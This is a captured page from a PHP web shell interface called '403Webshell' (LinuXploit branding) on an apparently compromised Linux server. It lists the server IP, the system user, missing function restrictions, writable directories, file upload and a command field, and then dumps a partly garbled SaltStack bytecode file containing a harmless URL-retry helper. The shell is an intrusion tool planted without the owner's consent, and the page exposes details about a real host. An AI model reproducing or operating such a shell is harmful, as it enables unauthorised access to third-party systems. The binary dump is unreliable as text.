403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/iam.cpython-310.pyc
o

;j��@sddZddlZddlZddlZzddlZdZWney!dZYnwe�e�Z	ddd�Z
d	d
�ZdS)z7
Connection library for Amazon IAM

:depends: requests
�NTF�
�cCs�td|�D]e}d}z$tj||ddid�}t|d�r|jWSt|d�r*|jWSWdStjjyC}zWYd}~dSd}~wtyT}zWYd}~nd}~wwt	�
d|�t	�
t�|��t
�d	|�qt	�d
|�dS)zI
    Retry grabbing a URL.
    Based heavily on boto.utils.retry_url
    rN�http�)�timeoutZproxies�text�contentz/Caught exception reading from URL. Retry no. %s�z0Failed to read from URL for %s times. Giving up.)�range�requests�get�hasattrrr�
exceptions�	HTTPError�	Exception�log�warning�pprintZpformat�time�sleep�error)�urlZnum_retriesr�i�exc�result�r�B/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/iam.py�_retry_get_urls*

���rcCs|S)z/
    Stolen completely from boto.providers
    r)�keyrrr�_convert_key_to_str0sr)rr)�__doc__�loggingrrrZHAS_REQUESTS�ImportError�	getLogger�__name__rrrrrrr�<module>s�



Youez - 2016 - github.com/yon3zu
LinuXploit